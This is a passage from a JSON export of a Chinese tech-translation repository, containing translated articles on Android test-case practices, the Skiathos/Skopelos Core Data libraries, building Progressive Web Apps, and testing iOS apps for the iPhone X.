    "content": "> * 原文地址：[The Do’s and Don’ts of Writing Test cases in Android.](https://blog.mindorks.com/the-dos-and-don-ts-of-writing-test-cases-in-android-70f1b5dab3e1#.sjelh11mm)\n* 原文作者：[Anshul Jain](https://blog.mindorks.com/@anshuljain?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Zhiw](https://github.com/Zhiw)\n* 校对者：[Draftbk](https://github.com/draftbk)，[rockzhai](https://github.com/rockzhai)\n\n\n# Android 写测试用例的注意事项\n\n在本文中，我将根据我的经验来尝试解释写测试用例的最佳实践。我会在本文中使用 Espresso 代码，但是这些实践都可以应用在单元测试和 UI 测试上。为了更好的解释，我以一个新闻应用作为例子。\n\n> 下面提到的应用的功能和条件纯属虚构，仅仅是为了解释这个最佳实践，并且与 Play 商店中上架或者已下架的任何应用不相似。:P\n\n**该新闻应用有以下界面**\n\n- **语言选择** — 当用户第一次打开应用时，他必须选择至少一种语言。选择一种或多种语言后，用户的选择将会保存到 shared preferences 中，然后用户将会直接跳转到新闻列表界面。\n\n- **新闻列表** — 当用户打开新闻列表界面，请求和语言参数将会发送到服务器，然后响应结果将会显示到 recycler view （id 为 *news_list* ）上。如果 shared preference 没有该语言或者服务器没有给出成功的响应，错误界面将会对用户可见并且 recycler view 将会消失。新闻列表界面有一个按钮，如果用户只选择了一种语言，按钮显示为 “Change your Language”，如果用户选择了多种语言，则显示为 “Change your Languages”。（我向上帝发誓，这是一个虚构的应用）\n\n- **新闻详情** — 顾名思义，当用户点击任何新闻列表条目的时候，该应用将被启动。\n\n应用的功能都已经足够了。让我们来看看为新闻列表界面写的测试用例。这是我最开始写的代码。\n\n![Markdown](http://i1.piimg.com/1949/d1520ac5242054b3.png)\n\n#### 仔细确定测试用例的目的\n\n在第一个测试用例 *testClickOnAnyNewsItem()* 中，如果服务器没有发送成功的响应，这个测试用例将会失败，因为 recycler view 的 visibility 是 GONE。但这并不是测试用例的目的。**这个测试用例要通过或者失败，最低的要求是 recycler view 要显示**，如果因为某些原因没有显示，那么这个测试用例不应该视为**失败**。该测试的正确代码应该像这样。\n\n![Markdown](http://i1.piimg.com/1949/8e950c3072136967.png)\n\n#### 测试用例本身应该是完整的\n\n当我开始测试时，我总是按照以下顺序测试界面\n\n- 语言选择\n\n- 新闻列表\n\n- 新闻详情\n\n因为我首先测试了语言选择界面，所以在测试新闻列表界面之前，一种语言已经被设置好了。但是当我先测试新闻列表界面时，该测试就失败了。失败的原因很简单 — 语言没有选择，因此 recycler view 也就不显示。**因此，测试用例的执行顺序不应该影响到测试结果**。所以，在运行测试用例之前，语言选项应该被保存到 shared preferences 中，这样的话，该测试用例就独立于语言选择界面的测试了。\n\n![Markdown](http://i1.piimg.com/1949/7d54085d16277ea1.png)\n\n#### 避免测试用例中的条件编码\n\n在第二个测试用例 *testChangeLanguageFeature()* 中，我们获得用户选择的语言种类数，然后基于此，我们写了一个 if-else 的条件来测试。但是 if-else 条件应该写在你的实际代码中，而不是写在测试代码里。每一个条件都应该单独测试。因此，我们应该写如下的两个测试用例，而不是一个。\n\n![Markdown](http://i1.piimg.com/1949/ed55274b0f7f2185.png)\n\n#### 测试用例应该独立于外部因素\n\n在大多数应用中，我们都要与外部代理如网络和数据库进行交互。测试用例可以在执行过程中调用一个请求发送到服务器，响应可能成功或者失败。但是如果服务器的响应失败了，那么这个测试用例不应该视为失败。我们这样考虑 — 如果测试用例失败了，然后我们在我们的客户端代码中进行更改，以便测试代码可以正常工作。但是在这种情况下，我们是否需要对客户端代码进行任何更改？— **不**。\n\n但是你也不应该完全避免测试网络请求和响应。由于服务器是外部代理，所以可能存在一种情况，当它发送一些错误响应时，这可能会导致应用崩溃。因此，你写的测试用例应该覆盖服务器所有可能的响应，甚至是那种服务器永远不会发送的响应。以此方法，所有的代码都将被覆盖，然后确保应用能优雅的处理所有的响应并且不崩溃。\n\n> 以正确的方式编写测试用例与编写用于测试的代码一样重要。\n\n感谢阅读本文。我希望这将帮助你写出更好的测试用例。你可以在 [LinkedIn](http://www.linkedin.com/in/anshul-jain-b7082573) 上联系我。你也可以在 [这里](https://medium.com/@anshuljain) 查看我的其他 medium 文章。\n\n**想要了解更多关于编程方面的内容，请关注 [***Mindorks***](https://blog.mindorks.com) ，当我们有新文章发布的时候，你就能收到通知啦。**\n"
  },
  {
    "path": "TODO/the-easiest-core-data.md",
    "content": "> * 原文地址：[The Easiest Core Data](http://albertodebortoli.com/blog/2016/08/05/the-easiest-core-data/)\n* 原文作者：[Alberto De Bortoli](http://albertodebortoli.com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Zheaoli](https://github.com/Zheaoli)\n* 校对者：[Kulbear](https://github.com/Kulbear), [cbangchen](https://github.com/cbangchen)\n\n# 「最简单」的 Core Data 上手指南\n\n在过去的几个月里，我花费了大量的时间在研究 Core Data 之上，我得去处理一个使用了很多陈旧的代码，糟糕的 Core Data 以及违反了多线程安全的项目。讲真，Core Data 学习起来非常的困难，在学习 Core Data 的时候，你肯定会感到迷惑和一种深深的挫败感。正是因为这些原因，我决定给出一种超级简单的解决方案。这个方案的特点就是简洁，线程安全，非常易于使用，这个方案能满足你大部分对于 Core Data 的需求。在经过若干次的迭代后，我所设计的方案最终成为一个成熟的方案。\n\nOK，女士们，先生们，现在请允许我隆重向您介绍 [Skiathos](https://github.com/albertodebortoli/Skiathos) 和 [Skopelos](https://github.com/albertodebortoli/Skopelos)。其中 **Skiathos** 是基于 **Objective-C** 所开发的，而 **Skopelos** 则基于 **Swift** 所开发的。这两个框架的名字来源于希腊的两个岛，在这里，我渡过了2016年的夏天，同时，在这里完成了两个框架的编写工作。\n\n## 写在前面的话\n\n整个项目的目的就是能够让您以及其简便的方式在您的 App 中引入 Core Data。\n\n我们将从如下几个方面来进行一个介绍:\n\n*   CoreDataStack\n*   AppStateReactor\n*   DALService (Data Access Layer)\n\n### CoreDataStack\n\n如果你有过使用 Core Data 的经验，那么你应该知道创建一个堆栈是一个充满陷阱的过程。这个组件是用于创建堆栈（用于管理 **Obejct Context** ），具体的设计说明可以参看 Marcus Zarra 所写的这篇[文章](http://martiancraft.com/blog/2015/03/core-data-stack/)。\n\n![](https://s3.amazonaws.com/albertodebortoli.github.com/images/coredata/coredatastack.png)\n\n其中一个和 Magical Record 或者其余第三方插件不同的是，整个存储过程都是在一个方向上发起的，可能是从某个子节点向下或者向上传递来进行持久化储存。其余的组件允许你创建以 **private context** 作为父节点的子节点，这将会导致 **main context** 不能被更新，同时只能通过通知的方式来进行合并更新。**main context** 是相对固定的并与 **UI** 进行了绑定：这样较为简单的方式可以帮助开发者更好的去完成一个 APP 的开发。\n\n### AppStateReactor\n\n唔，其实你可以忽略这一段。这个组件属于 CoreDataStack ，在 App 切换至后台，失去节点，或者即将退出时，它负责监视相对应的修改，并把其保存。\n\n### DALService (Data Access Layer) / (Skiathos/Skopelos)\n\n如果你拥有使用 Core Data 的经验，那么你也应该知道，我们大部分操作都是重复的，我们经常在一个 context 中调用 `performBlock:/performBlockAndWait:` 函数，而这个 Context 提供了一个最终会调用 `save:` 作为最终语句的 block 。数据库的所有操作都是基于 API 中所提供的 `read:` 和 `write:` ：这两个协议提供了 CQRS （命令和查询分离） 的实现。用于读取的代码块将在主体中进行运行（因为这被认为是一个已确定的单个资源）。用于写入的代码块将会在一个子线程中运行，这样可以保证实时的进行数据储存，变化的数据将会在不会阻塞主线程的情况下通过异步的方式进行储存。`write:completion:` 方法将会程序运行完后来对数据的更改进行持久化储存。\n\n换句话说，写入的数据在 `main managed object context` 和最后持久化过程中都会保证其一致性。在 主要管理对象的 `context` 中，相应的数据也能保证其可用性。\n\n`Skiathos`/`Skopelos` 是 `DALService` 的子类, 这样可以给这个组件一个比较好听的名字。\n\n## 使用介绍\n\n在使用这一系列组件之前，你首先需要创建一个类型为 `Skiathos` 的属性，然后以下面这种方式去初始化它：\n\n~~~OC\n    self.skiathos = [Skiathos setupInMemoryStackWithDataModelFileName:@\"<#datamodelfilename>\"];\n    // or\n    self.skiathos = [Skiathos setupSqliteStackWithDataModelFileName:@\"<#datamodelfilename>\"];\n~~~\n\n在使用 `Skopelos` 时，代码如下所示：\n\n~~~Swift\n    self.skopelos = SkopelosClient(inMemoryStack: \"<#datamodelfilename>\")\n    // or\n    self.skopelos = SkopelosClient(sqliteStack: \"<#datamodelfilename>\")\n~~~\n\n\n你可以通过使用依赖注入的方式来在应用的其余地方使用这些对象。不得不说，为 Core Data 栈上的不同对象创建单例是一种很不错的做法。当然，不断的创建实例的开销是十分巨大的。通常来讲，我们不是很推荐使用单例模式。单例模式的测试性不强，在使用过程中，使用者无法有效的控制其声明周期，这样可能会违背一些最佳实践的编程原则。正是因为如此，在这个库里，我们不推荐使用单例。\n\n由于下面几个原因，你在使用时需要从 `Skiathos`/`Skopelos` 进行继承：\n\n*   创建一个全局可共享的实例。\n*   重载 `handleError(error: NSError)` 方法，以便在你的程序里出现一些错误时，这个方法能够正常的被调用。\n\n为了创建单例，你应该如下面的示例一样去从 `Skiathos`/`Skopelos` 进行继承：\n\n### 单例\n\n~~~Swift\n    @interface SkiathosClient : Skiathos\n    + (SkiathosClient *)sharedInstance;\n    @end\n    static SkiathosClient *sharedInstance = nil;\n    @implementation SkiathosClient\n    + (SkiathosClient *)sharedInstance\n    {\n        static dispatch_once_t onceToken;\n        dispatch_once(&onceToken, ^{\n            sharedInstance = [self setupSqliteStackWithDataModelFileName:@\"<#datamodelfilename>\"];\n    </#datamodelfilename>    });\n        return sharedInstance;\n    }\n    - (void)handleError:(NSError *)error\n    {\n        // clients should do the right thing here\n        NSLog(@\"%@\", error.description);\n    }\n    @end\n~~~\n\n或者是\n\n~~~Swift\n    class SkopelosClient: Skopelos {\n        static let sharedInstance = Skopelos(sqliteStack: \"DataModel\")\n        override func handleError(error: NSError) {\n            // clients should do the right thing here\n            print(error.description)\n        }\n    }\n~~~\n\n### 读写操作\n\n写到这里，让我们同时看看在一个标准 Core Data 的操作方式和我们组件所提供的方式吧。\n\n标准的读取姿势:\n\n~~~OC\n    __block NSArray *results = nil;\n    NSManagedObjectContext *context = ...;\n    [context performBlockAndWait:^{\n        NSFetchRequest *request = [[NSFetchRequest alloc] init];\n        NSEntityDescription *entityDescription = [NSEntityDescription entityForName:NSStringFromClass(User)\n        inManagedObjectContext:context];\n        [request setEntity:entityDescription];\n        NSError *error;\n        results = [context executeFetchRequest:request error:&error];\n    }];\n    return results;\n~~~\n\n标准的写入姿势:\n\n~~~OC\n    NSManagedObjectContext *context = ...;\n    [context performBlockAndWait:^{\n        User *user = [NSEntityDescription insertNewObjectForEntityForName:NSStringFromClass(User)\n        inManagedObjectContext:context];\n        user.firstname = @\"John\";\n        user.lastname = @\"Doe\";\n        NSError *error;\n        [context save:&error];\n        if (!error)\n        {\n            // continue to save back to the store\n        }\n    }];\n~~~\n\n`Skiathos` 中的读取姿势：\n\n~~~OC\n    [[SkiathosClient sharedInstance] read:^(NSManagedObjectContext *context) {\n        NSArray *allUsers = [User allInContext:context];\n        NSLog(@\"All users: %@\", allUsers);\n    }];\n~~~\n\n`Skiathos` 中的写入姿势：\n\n~~~OC\n    // Sync\n    [[SkiathosClient sharedInstance] writeSync:^(NSManagedObjectContext *context) {\n        User *user = [User createInContext:context];\n        user.firstname = @\"John\";\n        user.lastname = @\"Doe\";\n    }];\n    [[SkiathosClient sharedInstance] writeSync:^(NSManagedObjectContext *context) {\n        User *user = [User createInContext:context];\n        user.firstname = @\"John\";\n        user.lastname = @\"Doe\";\n    } completion:^(NSError *error) {\n        // changes are saved to the persistent store\n    }];\n    // Async\n    [[SkiathosClient sharedInstance] writeAsync:^(NSManagedObjectContext *context) {\n        User *user = [User createInContext:context];\n        user.firstname = @\"John\";\n        user.lastname = @\"Doe\";\n    }];\n    [[SkiathosClient sharedInstance] writeAsync:^(NSManagedObjectContext *context) {\n        User *user = [User createInContext:context];\n        user.firstname = @\"John\";\n        user.lastname = @\"Doe\";\n    } completion:^(NSError *error) {\n        // changes are saved to the persistent store\n    }];\n~~~\n\n`Skiathos` 当然也支持链式调用：\n\n~~~OC\n    __block User *user = nil;\n    [SkiathosClient sharedInstance].write(^(NSManagedObjectContext *context) {\n        user = [User createInContext:context];\n        user.firstname = @\"John\";\n        user.lastname = @\"Doe\";\n    }).write(^(NSManagedObjectContext *context) {\n        User *userInContext = [user inContext:context];\n        [userInContext deleteInContext:context];\n    }).read(^(NSManagedObjectContext *context) {\n        NSArray *users = [User allInContext:context];\n    });\n~~~\n\n如果是在 Swift中，代码将会变成下面这个样子\n\n读取：\n\n~~~Swift\n    SkopelosClient.sharedInstance.read { context in\n        let users = User.SK_all(context)\n        print(users)\n    }\n~~~\n\n写入：\n\n~~~Swift\n    // Sync\n    SkopelosClient.sharedInstance.writeSync { context in\n        let user = User.SK_create(context)\n        user.firstname = \"John\"\n        user.lastname = \"Doe\"\n    }\n    SkopelosClient.sharedInstance.writeSync({ context in\n        let user = User.SK_create(context)\n        user.firstname = \"John\"\n        user.lastname = \"Doe\"\n        }, completion: { (error: NSError?) in\n            // changes are saved to the persistent store\n    })\n    // Async\n    SkopelosClient.sharedInstance.writeAsync { context in\n        let user = User.SK_create(context)\n        user.firstname = \"John\"\n        user.lastname = \"Doe\"\n    }\n    SkopelosClient.sharedInstance.writeAsync({ context in\n        let user = User.SK_create(context)\n        user.firstname = \"John\"\n        user.lastname = \"Doe\"\n    }, completion: { (error: NSError?) in\n        // changes are saved to the persistent store\n    })\n~~~\n\n链式调用：\n\n~~~Swift\n    SkopelosClient.sharedInstance.write { context in\n        user = User.SK_create(context)\n        user.firstname = \"John\"\n        user.lastname = \"Doe\"\n    }.write { context in\n        if let userInContext = user.SK_inContext(context) {\n            userInContext.SK_remove(context)\n        }\n    }.read { context in\n        let users = User.SK_all(context)\n        print(users)\n    }\n~~~\n\n`NSManagedObject` 类所提供了非常清楚的 **CRUD** 方法。在作为读/写代码块的参数传递之时，对象应该被作为一个整体进行处理。你应该优先使用这些内建的方法。主要的方法有下面这些：\n\n\n~~~OC\n    + (instancetype)SK_createInContext:(NSManagedObjectContext *)context;\n    + (NSUInteger)SK_numberOfEntitiesInContext:(NSManagedObjectContext *)context;\n    - (void)SK_deleteInContext:(NSManagedObjectContext *)context;\n    + (void)SK_deleteAllInContext:(NSManagedObjectContext *)context;\n    + (NSArray *)SK_allInContext:(NSManagedObjectContext *)context;\n    + (NSArray *)SK_allWithPredicate:(NSPredicate *)pred inContext:(NSManagedObjectContext *)context;\n    + (instancetype)SK_firstInContext:(NSManagedObjectContext *)context;\n~~~\n\n~~~Swift\n    static func SK_create(context: NSManagedObjectContext) -> Self\n    static func SK_numberOfEntities(context: NSManagedObjectContext) -> Int\n    func SK_remove(context: NSManagedObjectContext) -> Void\n    static func SK_removeAll(context: NSManagedObjectContext) -> Void\n    static func SK_all(context: NSManagedObjectContext) -> [Self]\n    static func SK_all(predicate: NSPredicate, context:NSManagedObjectContext) -> [Self]\n    static func SK_first(context: NSManagedObjectContext) -> Self?\n~~~\n\n注意，在使用 `SK_inContext(context: NSManagerObjectContext)` 时，不同的读写代码块可能会得到同一个对象。\n\n## 线程安全\n\n所有 DALService 所产生的实例都可以认为是线程安全的。\n\n我们特别建议你在项目中进行这样的设置 `-com.apple.CoreData.ConcurrencyDebug 1` ，这可以确保你不会在多线程和并发的情况下滥用 Core Data。\n\n这个组件不是为了通过隐藏 `ManagedObjectContext:` 的概念来达到接口引入的目的：它将会在客户端中引入更多的线程问题，因为开发者有责任去检查所调用线程的类型（而那将会是在忽视 Core Data 所带给我们的好处）。\n"
  },
  {
    "path": "TODO/the-easy-way-to-turn-a-website-into-a-progressive-web-app.md",
    "content": "> * 原文地址：[The easy way to turn a website into a Progressive Web App](https://dev.to/pixeline/the-easy-way-to-turn-a-website-into-a-progressive-web-app-77g)\n> * 原文作者：[Alexandre Plennevaux](https://dev.to/pixeline)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-easy-way-to-turn-a-website-into-a-progressive-web-app.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-easy-way-to-turn-a-website-into-a-progressive-web-app.md)\n> * 译者：[bambooom](https://github.com/bambooom)\n> * 校对者：[MechanicianW](https://github.com/MechanicianW) [tvChan](https://github.com/tvChan)\n\n## 什么是渐进式 Web 应用程序？\n\n基本上来说，PWA 是一个网站，当用手机访问时，网站可以保存在手机，并且体验就像一个原生应用程序一样。它会有一个加载显示，你可以删除 Chrome 的界面，如果网络连接断开，它仍然可以正常显示内容。最重要的是它提高了用户的参与度：在 Android 上的 Chrome 浏览器（不确定其他移动端浏览器上行为是否一致）如果检测到网站是 PWA，它会提示用户使用你选择的图标将其保存在设备的主屏幕上。\n\n## 为何它如此重要？\n\n**PWA 对客户端上的业务有好处。**中国的亚马逊，阿里巴巴注意到由于浏览器“安装”网站的提示，用户的参与度提高了 48%（[来源](https://developers.google.com/web/showcase/2016/alibaba)）。\n\n这说明 PWA 完全值得为之努力奋斗！\n\n这极大可能要归功于一种叫 **Service Workers** 的技术，它允许你在用户系统中保存静态资源（html、css、javascript、json…），同时还有一个 `manifest.json` 文件，指定网站如何像一个已安装的应用一样运行。\n\n## 例子\n\n这些都是我用本教程里描述的相同的方法做的网站：\n\n* [plancomptablebelge.be](https://plancomptablebelge.be) （一个单页网站）\n* [didiermotte.be](https://didiermotte.be) （一个基于 WordPress 的网站）\n\n更多例子可以在这里看到：[pwa.rocks](https://pwa.rocks)\n\n## 设置\n\n将网站变成 PWA 可能听上去很复杂（Service workers？是什么？），但其实并不难。\n\n### 1. 要求：https 而不是 http\n\n\n最困难的部分就是 PWA 只能在安全域的网站上运行（也就是在 **https://** 后，而不是 http://）。\n\n通常这些很难手动设置，但是如果你有自己的服务器，你可以使用 [letsencrypt](https://letsencrypt.org/) 很简单并自动化的完成这个步骤，并且完全**免费**。\n\n### 2. 工具\n\n#### 2.1 lighthouse 测试\n\n* [lighthouse 测试](https://developers.google.com/web/tools/lighthouse/) 是由 Google 创建并维护的自动化测试工具，它通过三个标准来测试网站：渐进性、性能、可访问性。它会对每一项给出一个百分比分数，并提出优化建议，是个非常好用的学习工具。\n* ![Lighthouse test result for didiermotte.be](https://res.cloudinary.com/practicaldev/image/fetch/s--DigZaUAj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://www.dropbox.com/s/rwfesahj7haglsc/Capture%2520d%2527%25C3%25A9cran%25202017-11-21%252010.03.29.png%3Fdl%3D1)\n* [realfavicongenerator.net](https://realfavicongenerator.net)\n* [UpUp.js 库](https://www.talater.com/upup/getting-started-with-offline-first.html)\n\n#### 2.2 realfavicongenerator.net\n\n[realfavicongenerator.net](https://realfavicongenerator.net) 注重你的 PWA 的视觉层。它会生成上面提到的 `manifest.json` 文件，以及网站保存到任意移动设备上时所需要的各个版本的图标文件，以及添加到页面 `<head>` 标签的一段 html 代码。\n\n**建议**：虽然 RFG 将你的资源放在子文件夹中，但这会使得启用 PWA 更困难。所以为了简单方便，将所有图片等资源全部放在根目录下即可。\n\n#### 2.3 通过 upup.js 使用 service workers\n\nService workers 是一项 JavaScript 技术，对我疲倦而急躁的大脑来说很难理解。但幸运的是，[一位聪明的德国女孩](https://vimeo.com/103221949)告诉我 [Tal Atler](https://twitter.com/TalAter)，她希望推进“离线优先”的理念，所以她创建了一个 JavaScript 库能够让你的网站在掉线的时候依然轻松保持正常运作。谢谢你，Ola Gasidlo！\n\n只需要快速浏览一下 [UpUp 的教程](https://www.talater.com/upup/getting-started-with-offline-first.html)就够了。\n\n#### 2.4 Manifest 文件\n\n编辑 RFG 生成的 `manifest.json` 文件，它至少应包含这些条目：\"scope\"、\"start_url\"、\"short_name\"、\"display\"。以下是一个示例：\n\n```json\n{\n    \"name\": \"My PWA Sample App\",\n    \"short_name\" : \"PWA\",\n    \"start_url\": \"index.html?utm_source=homescreen\",\n    \"scope\" : \"./\",\n    \"icons\": [\n        {\n            \"src\": \"./android-chrome-192x192.png\",\n            \"sizes\": \"192x192\",\n            \"type\": \"image/png\"\n        },\n        {\n            \"src\": \"./android-chrome-512x512.png\",\n            \"sizes\": \"512x512\",\n            \"type\": \"image/png\"\n        }\n    ],\n    \"theme_color\": \"#ffee00\",\n    \"background_color\": \"#ffee00\",\n    \"display\": \"standalone\"\n}\n```\n\n更多相关信息见此处：[developers.google.com](https://developers.google.com/web/updates/2017/02/improved-add-to-home-screen#navigating_outside_of_your_progressive_web_app) 。\n\n### 3. 步骤\n\n1. 使用 Realfavicongenerator 生成需要的 html 和图片，将代码添加到你的网站代码中。\n2. 在你的 https 域上发布网站。\n3. 做 lighthouse 测试。\n4. 分析结果。\n5. 解决每个问题。\n6. 回到第 3 步重复。\n7. 重复直到你在几乎所有地方拿到接近 100 的分数，并且在“Progress”一项拿到 100。\n8. 在你的手机上测试看看。有一定机会，你会看到底部弹出窗口，邀请你将网站保存都手机主屏幕上。![](https://res.cloudinary.com/practicaldev/image/fetch/s--YezWkN00--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/becodeorg/Lovelace-promo-2/raw/master/Parcours/PWA%2520-%2520progressive%2520web%2520apps/assets/add-to-homescreen.jpg)\n\n## 如果你想深入了解...\n\n这是一个我用 Github Pages 做的 PWA 的例子，我在 [BeCode](http://www.becode.org/) 时给我的后辈现场编写的，你可以用你的手机来访问并测试，点击[这里](https://pixeline.github.io/pwa-example/index.html)，它的代码在[这里](https://github.com/pixeline/pwa-example)。\n\n你可以在下面这本书中找到所有有关 PWA 的信息：\n\n[Building Progressive Web Apps](https://www.amazon.fr/_/dp/1491961651?tag=oreilly20-20)\n\n![](https://res.cloudinary.com/practicaldev/image/fetch/s--joTnFRw3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://images-na.ssl-images-amazon.com/images/I/51xL1wjYrHL._SX379_BO1%2C204%2C203%2C200_.jpg).\n\n以上就是所有内容，PWA 快乐！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-essentials-of-ios-app-testing-for-iphone-x.md",
    "content": "> * 原文地址：[The Essentials of iOS App Testing For iPhone X](https://mobiletestingblog.com/2017/11/05/the-essentials-of-ios-app-testing-for-iphone-x/)\n> * 原文作者：[mobiletestingblog](https://mobiletestingblog.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-essentials-of-ios-app-testing-for-iphone-x.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-essentials-of-ios-app-testing-for-iphone-x.md)\n> * 译者：\n> * 校对者：\n\n# The Essentials of iOS App Testing For iPhone X\n\n48 hours ago, Apple revealed its new and futuristic [iPhone X](http://blog.perfectomobile.com/industry-news/perfecto-announces-first-in-the-market-cloud-support-for-iphonex/). Regardless of its design, and debatable price tag, this device also introduced a whole set of functionality, display, and engagement with the end-user.\n\n[iOS11](https://dzone.com/articles/ios11-and-android-oreo-80-are-shocking-the-mobile) is turning to be quite different from previous releases from both user adoption which is still low (~**30%**) and also from a quality perspective – **4 patch releases in 1.5 months is a lot**.\n\nMost of the changes are already proving to cause issues for existing apps that work fine on iOS11.x and former iPhones like iPhone 8, 7 and others.\n\nIn this post, I’d highlight some pitfalls that testers as well as developers ought to be doing immediately if they haven’t done so already to make sure their apps are compliant with the latest Apple mobile portfolio.\n\nThe post will be divided into 2 areas: **Mobile testing** recommendations and **App Development** recommendations.\n\n### Mobile Testing for iPhone X/iOS 11\n\n*   **Test** across **all supported platforms** as a general statement. iOS11 isn’t for every device, and apps are stuck on iOS10 that has different functionality than the iOS11\\. Test your apps across iOS9.3.5, iOS 10.3.3, and the latest iOS11.x\n*   **iPhone X comes from the factory with iOS11.0.1**, requesting for an update to iOS1.1 – that means, this device will never get the intermediate iOS11.0.2/iOS11.0.3 – if customers haven’t yet updated to iOS1.1, you may want to have 1 device like iPhone 8/7 still on iOS11.0.3 so you have coverage for **iOS11.Latest-1**\n*   **Display and Screen Size for iPhone X** specifically changed, and this device has a 5.8” screen size that is different for all other iPhones. Testing UI elements, Responsive apps layouts and other graphics on this new device is obviously a must (below is an example taken from **CVS** native app showing UI issues already found by me while playing with the device). This device is also full screen similar to the Samsung S8/Note 8 devices. A lot of tables, text field, and other UI elements need to be iOS11/iPhopne X ready by the developers.\n\n![Image title](https://dzone.com/storage/temp/7125522-cvs-issues.png)\n\n*   **New gestures and engagement flow** impact usability as well as test automation scripts. In iPhone X, unlike previous iPhones, the user has no HOME Button to work with. That means that in order for him to launch the task manager (see below) and switch or kill a background running app, he needs to follow a different flow. What that means is that at first, the app testing teams need to make sure that this new flow is covered in testing, and more important, if these flows are part of a test automation scenario, the code needs to be adapted to match the new flow.\n\n![Image title](https://dzone.com/storage/temp/7125539-whatsapp-image-2017-11-05-at-085248.jpeg)\n\nIn addition to the removal of the **Home button** that causes the new way of engaging with background apps, the way for the user to return to the Home screen has also changed. Getting back to the Home screen is a common step in every test automation, therefore these steps need to account for the changes, and **replace the button** press **with** a **Swipe Up gesture**.\n\n*   **Authentication and payment scenarios** also changed with the elimination of the **Touch ID** option, that was replaced with the **Face ID.** While iPhone X introduced an innovative digital engagement with the Face recognition technology, the de-facto today to log in into apps, make payments and more, is still the Fingerprint authentication. **Testing both methods** is now a quality and dev requirement. From a scan that I ran through the leading apps in the market (see examples below), there is a **clear unpreparedness for iPhone X**. Most apps will either show on their UI the option to log in via Touch ID or if they support Face ID, they will allow users to use it, while still showing on the UI and in the app settings the unsupported option.\n\n![Image title](https://dzone.com/storage/temp/7125570-touchid.png)\n\n*   **Testing mobile web and responsive web apps** in both landscape and portrait mode with the unique iPhone X display is also a clear and immediate requirement. I also found issues mostly around text truncation and wrong leverage of the entire screen to display the web content.\n\n![Image title](https://dzone.com/storage/temp/7125576-whatsapp-image-2017-11-03-at-1859227.jpeg)\n\nIn addition, trying to work with Hulu.com website proved to also be a challenge. Most menu content is being thrown to the bottom of the screen under the user control, making it simply inaccessible. Obviously, the site is not ready for iPhone X/Safari Browser.\n\n[![](https://ek121268.files.wordpress.com/2017/11/dn5r8yhvwaaqnxw_large.jpg?w=473&h=1024)](https://ek121268.files.wordpress.com/2017/11/dn5r8yhvwaaqnxw_large.jpg)\n\n### **Mobile Apps Development**\n\n*   **Optimize existing iOS apps from both UI as well as authentication perspective**. As spotted above, there are clear compatibility issues around the removal of the Touch ID option, that needs to be modified on the UI side of the apps when launched on iPhone X. In addition, scaling UI elements on the new screen whether for RWD apps or mobile apps needs refactoring as well. Apple is offering app developers a [ui guidlines](https://www.bignerdranch.com/blog/get-your-apps-ready-for-iphone-x/) to help make the changes fast.![Image title](https://dzone.com/storage/temp/7125590-scaleiphonex.jpg)\n*   **Leverage advanced capabilities in iOS11** that best suit the new chipset (AI11 Bionic) and the camera sensors, to introduce digital engagement capabilities around augmented reality (ARKit API’s) and others. Retail apps and games are surely the 1st most suitable segments to jump on these innovative capabilities and enrich their end users’ experiences.\n\n![Image title](https://dzone.com/storage/temp/7125607-whatsapp-image-2017-11-05-at-092658.jpeg)\n\n### Bottom Line\n\nThe new iPhone X might be paving the way together with the Android Note 8 for a new era of innovation that offers App developers new opportunities to better engage and increase business values. If quality will not be aligned with these innovative opportunities, as shown above, that transformation will be quite challenging, slow and frustrating for the end users’\n\nIt is highly recommended for iOS app vendors across verticals to get hands-on experience with the new platform, assess the gaps in quality and functionality, and make the required changes so they are not “left behind” when the innovative train moves on.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-evolution-of-code-deploys-at-reddit.md",
